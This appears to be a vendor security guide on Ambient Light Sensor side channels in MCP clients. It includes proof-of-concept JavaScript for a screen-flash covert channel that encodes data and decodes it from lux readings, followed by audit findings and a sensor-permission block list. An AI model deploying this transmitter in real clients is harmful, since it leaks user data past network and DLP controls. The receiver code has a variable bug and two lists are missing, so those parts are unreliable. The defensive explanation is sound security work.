Security Guide

MCP server Ambient Light Sensor security — screen content inference, binary lux covert channel, and timing attacks

The Ambient Light Sensor API gives browser JavaScript access to the device's light sensor via new AmbientLightSensor(), returning illuminance in lux. Screen content affects sensor readings because the display emits light that partially reflects back to the front-facing sensor. A browser tab that alternates between white and black full-screen elements creates a detectable binary signal in the lux readings that a second tab or system process can read back — forming a covert communication channel that bypasses all network-layer security controls. In MCP server contexts, this is a niche but technically real side-channel. Permissions-Policy: ambient-light-sensor=() is the defense.

What the Ambient Light Sensor API provides

The Ambient Light Sensor is part of the W3C Generic Sensor API specification. It reads the device's ambient light sensor (typically a photodetector on the front panel of laptops and tablets) and returns illuminance values in lux:

// Ambient Light Sensor — part of the Generic Sensor API
const sensor = new AmbientLightSensor({ frequency: 10 }); // 10 readings/second

sensor.addEventListener('reading', () => {
  console.log(`Current lux: ${sensor.illuminance}`);
  // Typical ranges:
  // Dark room: 0–50 lux
  // Indoor office: 200–500 lux
  // Bright screen in dark room: adds 10–50 lux to ambient
  // Alternating white/black screen in dark room: creates ~20-40 lux delta
});

sensor.addEventListener('error', (e) => {
  console.log('Sensor error:', e.error.name);
});

sensor.start();

Ambient Light Sensor requires the accelerometer or ambient-light-sensor Permissions-Policy allowlist or no Permissions-Policy restriction. Chrome originally required a user gesture to start the sensor; the permission model has varied across browser versions. In many WebView contexts (where MCP browser-based clients are often deployed), Permissions-Policy inheritance from the parent app may not apply, leaving the sensor available without restriction.

The binary covert channel: screen-to-sensor exfiltration

The fundamental attack relies on a physical property: a display screen emits light, some of which reflects off nearby surfaces back to the ambient light sensor. In a dark or dimly-lit room (common office/home environments during evening MCP sessions), the delta between a white full-screen background (high lux) and a black full-screen background (low lux) is measurable.

By encoding data as a sequence of white (bit=1) and black (bit=0) full-screen flashes, a tab can transmit data through the sensor to a receiver that reads the sensor values:

// Transmitter tab (MCP tool output controls this)
// Encodes stolen data as binary screen flash sequence
// Requires: dark enough room, sensor within ~50cm of screen

async function transmitViaSensor(data) {
  const bits = stringToBits(JSON.stringify(data)); // Convert to bit array
  const SYMBOL_MS = 100; // Each bit = 100ms (10 bits/second max reliable rate)

  const overlay = document.createElement('div');
  overlay.style.cssText = `
    position: fixed; top: 0; left: 0;
    width: 100vw; height: 100vh;
    z-index: 999999; transition: none;
  `;
  document.body.appendChild(overlay);

  for (const bit of bits) {
    overlay.style.backgroundColor = bit ? '#ffffff' : '#000000';
    await new Promise(resolve => setTimeout(resolve, SYMBOL_MS));
  }

  overlay.remove();
}

// Receiver (second tab at same origin, or system process reading /dev/iio)
// Reads sensor values and decodes binary sequence
const recvSensor = new AmbientLightSensor({ frequency: 20 }); // oversample
const readings = [];
const THRESHOLD = 15; // lux delta that distinguishes 1 from 0

recvSensor.addEventListener('reading', () => {
  readings.push(sensor.illuminance);
  if (readings.length > 2) {
    const delta = readings[readings.length-1] - readings[readings.length-2];
    const bit = delta > THRESHOLD ? 1 : 0;
    decodeBit(bit);
  }
});

The covert channel bypasses all network security controls. No network request is made. No CSP directive is violated. No firewall rule triggers. The data transmission is entirely physical — screen light → ambient sensor → sensor reading API. This makes it relevant in air-gapped or DLP-protected environments where network exfiltration is blocked but browser sensor access is not.

Screen content inference without explicit encoding

Beyond the binary channel attack, ambient light sensors can infer general screen content without active encoding. A JavaScript process that monitors sensor readings over time can detect:

Deployment-specific risk: WebView-based MCP clients

Web browser Chrome restricts the Ambient Light Sensor via Permissions-Policy: ambient-light-sensor=() on cross-origin iframes by default since Chrome 88. However, many MCP clients are deployed as Electron apps, Android WebViews, or Capacitor/Cordova-wrapped PWAs. In these environments:

SkillAudit findings for Ambient Light Sensor exposure

High MCP client deployed as Electron/WebView app with sensor access; no Permissions-Policy restriction on ambient-light-sensor. Tool output in WebView context has unrestricted sensor access; binary covert channel possible in dark-room sessions. Grade impact: −16.
Medium Browser-based MCP client without Permissions-Policy: ambient-light-sensor=() header; sensor available in Chrome without explicit permission on some OS versions. Attack surface exists where sensor is accessible. Grade impact: −10.
Low Tool output rendered same-origin; tool output can inject screen-flashing overlay elements as visible-to-user UI disruption. Even without a receiver, full-screen overlays produced by tool output disrupt UX and can be used for display-based social engineering. Grade impact: −6.

Defenses

Permissions-Policy: ambient-light-sensor=() — add to all MCP client response headers. This disables the Ambient Light Sensor API for the page and all iframes, preventing both the transmitter and receiver roles:

Permissions-Policy: ambient-light-sensor=()

For Electron/WebView MCP clients: set the WebPreferences nodeIntegration: false and explicitly set sensor permissions to deny in the session setPermissionCheckHandler:

// Electron main process
session.defaultSession.setPermissionCheckHandler(
  (webContents, permission) => {
    // Deny all sensor permissions to WebView content
    const BLOCKED = ['sensors', 'ambient-light-sensor', 'accelerometer',
                     'gyroscope', 'magnetometer'];
    return !BLOCKED.includes(permission);
  }
);

Cross-origin tool output sandbox: cross-origin iframes do not inherit the parent's sensor access. Sandbox the tool output rendering context.

Audit your MCP server for sensor API and covert channel risks

SkillAudit checks for tool output isolation, Permissions-Policy configuration, and WebView-specific sensor exposure — paste a GitHub URL and get a graded security report in 60 seconds.

Run a free audit →